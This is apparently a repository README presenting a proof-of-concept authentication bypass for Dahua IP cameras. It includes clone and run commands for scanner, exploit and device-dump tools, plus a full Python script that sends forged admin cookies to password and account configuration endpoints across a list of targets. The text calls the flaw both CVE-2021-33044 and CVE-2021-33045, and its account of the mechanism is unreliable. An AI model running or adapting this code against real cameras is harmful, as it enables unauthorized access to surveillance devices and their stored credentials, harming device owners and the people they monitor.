Dahua Authentication Bypass Exploit Simulation PoC (CVE-2021-33044)

Overview

Dahua IP cameras are IoT devices commonly used in security surveillance systems. Due to frequent deployment in internal networks or Internet access, security vulnerabilities in IP cameras can severely impact privacy and information security.

CVE-2021-33045 is a security vulnerability present in certain Dahua camera models, allowing unauthorized access to internal configuration resources without valid authentication. This vulnerability stems from weak access control mechanisms in the device firmware.

Vulnerability Information

Root Cause

The vulnerability originates from insecure authentication design in Dahua camera firmware:

• The server does not properly validate session/token
• Trusts data sent from the client
• Certain sensitive configuration endpoints only check for the existence of a cookie, not actual access rights

This allows attackers to:

• spoof the authentication process
• bypass login completely

References:

• NVD CVE-2021-33044
• http://seclists.org/fulldisclosure/2021/Oct/13

How the Authentication Bypass Mechanism Works

Normal Flow

→ Client sends HTTP request with arbitrary cookie
→ Camera checks cookie at the interface level
→ No backend session validation
→ Allows direct access to internal configuration endpoints
→ Returns sensitive data

Scenarios

Usage

Installation

# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044

pip install requests

Network Scanning

# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800

# Single host with port
python dahua_scanner.py https://example.com

Common Dahua ports: 80,443, 8080, 37777, 37778

Exploiting CVE Vulnerabilities

python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044  #CVE
python dahua_exploit.py --help

Authentication Bypass

python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com  # Dump device after bypass

Example

#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()

def dump_accounts(ip, port=80):
    base = f"http://{ip}:{port}"
    cookies = {
        "userName": "admin",
        "userLevel": "1",
        "sessionID": "00000000"
    }
    urls = [
        "/current_config/passwd",
        "/current_config/Account1",
        "/current_config/UserMgr",
        "/current_config/accounts"
    ]

    for path in urls:
        try:
            r = requests.get(
                base + path,
                cookies=cookies,
                verify=False,
                timeout=8
            )
            if r.status_code == 200 and len(r.text) > 30:
                print(f"[+] {ip}:{port}  VULNERABLE → {path}")
                return
        except:
            pass

    print(f"[-] {ip}:{port}  safe / patched")

for line in open("targets.txt"):
    t = line.strip()
    if not t or t.startswith("#"):
        continue
    ip = t.split(":")[0]
    port = int(t.split(":")[1]) if ":" in t else 80
    dump_accounts(ip, port)

Explanation

• The script uses the requests library and proactively disables SSL warnings to suppress them.

• The dump_accounts(ip, port=80) function is the main function responsible for checking a camera device. Its main purpose is to:

  • Build the URL from the IP address and port
  • Simulate an admin login state via cookies
  • Send requests to sensitive configuration endpoints
  • Analyze the response to determine if the device is vulnerable

• Simulates authentication cookies. The function uses cookie values such as:

  • userName=admin
  • userLevel=1
  • sessionID=00000000

• In affected camera versions, the backend does not verify the actual sessionID, leading the system to believe the request comes from a valid administrator account.

Target List Processing Loop

The script reads the target list from an input file and calls the check function for each device in turn. This approach allows automated evaluation of multiple cameras.

Development Process

These scripts were developed based on:

• CVE details published by NVD
• Dahua security advisories
• Public PoC references (seclists.org, packetstormsecurity)

Testing status:

• Authentication bypass logic implemented according to CVE specifications
• Limited testing on vulnerable devices.

Notes

This project:

• For educational and research purposes only
• Run in a personal lab environment